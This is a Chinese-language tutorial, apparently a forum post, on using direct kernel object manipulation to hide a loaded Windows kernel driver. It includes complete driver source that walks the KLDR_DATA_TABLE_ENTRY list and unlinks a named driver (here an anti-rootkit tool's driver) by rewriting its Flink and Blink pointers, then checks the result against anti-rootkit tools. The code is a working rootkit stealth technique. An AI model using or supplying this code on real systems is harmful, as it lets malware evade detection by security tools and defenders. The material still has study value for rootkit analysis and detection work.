DKOM(Direct Kernel Object Manipulation)就是直接内核对象操作技术。所有的操作系统都在内存中存储记账信息,他们通常采用结构或对象的形式,由对象管理器管理。当用户空间进程请求操作系统信息例如进程、线程或设备驱动程序列表时,这些对象被报告给用户。这些对象或结构位于内存中,因此可以直接对其进行修改。隐藏进程主要关注的windows关键数据结构是:进程的EPROCESS结构与线程的ETHREAD结构、链表(如进程、线程链表与CPU的调度链表)等等。DKOM通过操作这些数据结构来达到它们的目的。直接操作内核对象在隐藏进程这方面的应用很多。

当服务控制管理器(SCM)加载一个驱动的时候, 就会生成一个DRIVER_OBJECT结构的对象.

nt!_DRIVER_OBJECT
  +0x000 Type             : Int2B
  +0x002 Size             : Int2B
  +0x004 DeviceObject     : Ptr32_DEVICE_OBJECT
  +0x008 Flags            : Uint4B
  +0x00cDriverStart      : Ptr32 Void
  +0x010 DriverSize       : Uint4B
  +0x014 DriverSection    : Ptr32Void
  +0x018 DriverExtension  : Ptr32_DRIVER_EXTENSION
  +0x01cDriverName       : _UNICODE_STRING
  +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
  +0x028 FastIoDispatch   : Ptr32_FAST_IO_DISPATCH
  +0x02cDriverInit       : Ptr32     long 
  +0x030 DriverStartIo    :Ptr32     void 
  +0x034 DriverUnload     :Ptr32     void 
  +0x038 MajorFunction    : [28]Ptr32     long 
 
其中的DriverSection中保存着一个指向KLDR_DATA_TABLE_ENTRY结构体的指针.
这个结构体被用来保存 驱动模块的一些信息.
在WRK中的定义如下:
typedef struct _KLDR_DATA_TABLE_ENTRY {
   LIST_ENTRY InLoadOrderLinks;
   PVOID ExceptionTable;
   ULONG ExceptionTableSize;
   PVOID GpValue;
   DWORD UnKnow;
   PVOIDDllBase;
   PVOID EntryPoint;
   ULONG SizeOfImage;
   UNICODE_STRING FullDllName;
   UNICODE_STRING BaseDllName;
   ULONG Flags;
   USHORT LoadCount;
   USHORT __Unused5;
   PVOID SectionPointer;
   ULONG CheckSum;
   PVOID LoadedImports;
   PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY,*PKLDR_DATA_TABLE_ENTRY;

这个结构体中的第一个成员InLoadOrderLinks是一个LIST_ENTRY的结构. 这使得每个 驱动模块被串在了一个双向链表中.我们只要遍历这条双向链就能枚举出所有的 驱动模块.
其中域DllBase 是 驱动模块的加载基地址.
FullDllName 是 驱动模块的完整路径
BaseDllName 是 驱动模块的名称.
遍历结果如下:
名称:  2011-06-14_150303.png查看次数: 895文件大小:  12.6 KB

因此, 如果我们要 隐藏某个 驱动, 只需将我们要 隐藏驱动名跟链表中的每个节点的 驱动名比较. 一旦找到我们要 隐藏驱动, 则修改它的InLoadOrderLinks域的Flink和Blink的指针即可.
图一: 修改前Flink和Blink指针的指向情况
名称:  1.png查看次数: 886文件大小:  8.7 KB

图二:修改后Flink和Blink指针的指向情况
名称:  2.png查看次数: 885文件大小:  9.0 KB

/*
 * 【作者:莫灰灰(LSG)】
 * 【空间:http://hi.baidu.com/hu3167343】
 */

#include <ntddk.h>

typedef unsigned long DWORD;

typedef struct _KLDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    PVOID ExceptionTable;
    ULONG ExceptionTableSize;
    PVOID GpValue;
    DWORD UnKnow;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    USHORT LoadCount;
    USHORT __Unused5;
    PVOID SectionPointer;
    ULONG CheckSum;
    PVOID LoadedImports;
    PVOID PatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

PDRIVER_OBJECT pDriverObject = NULL;

VOID 
HideDriver()
{
    PKLDR_DATA_TABLE_ENTRY entry =(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
    PKLDR_DATA_TABLE_ENTRY firstentry;
    UNICODE_STRING uniDriverName;
    
    firstentry = entry;

    // 初始化要 隐藏 驱动驱动
    RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");
    
    while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
    {
        if (entry->FullDllName.Buffer != 0)
        {    
            if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
            {
                KdPrint((" 隐藏 驱动 %ws 成功!\n", entry->BaseDllName.Buffer));    
                // 修改 Flink 和 Blink 指针, 以跳过我们要 隐藏驱动
                *((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;
                entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
                
                /* 
                    使被 隐藏 驱动LIST_ENTRY结构体的Flink, Blink域指向自己
                    因为此节点本来在链表中, 那么它邻接的节点 驱动被卸载时, 
                    系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.
                    但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点 驱动
                    卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而
                    造成随机性的BSoD.
                */
                entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
                entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);

                break;
            }
        }
        // 链表往前走
        entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
    }
}

NTSTATUS 
UnloadDriver(
             IN PDRIVER_OBJECT DriverObject
             )
{
    return STATUS_SUCCESS;
}

NTSTATUS 
DriverEntry(
            IN PDRIVER_OBJECT DriverObject, 
            IN PUNICODE_STRING  RegistryPath
            )
{
    DriverObject->DriverUnload = UnloadDriver;
    pDriverObject = DriverObject;
    HideDriver();
    return STATUS_SUCCESS;
}


摘了XueTr的 驱动之后, 我们用ARK工具来看一下(XueTr 和 PT都是最新版).
点击图片以查看大图图片名称: 3.png查看次数: 884文件大小: 77.5 KB文件 ID : 58002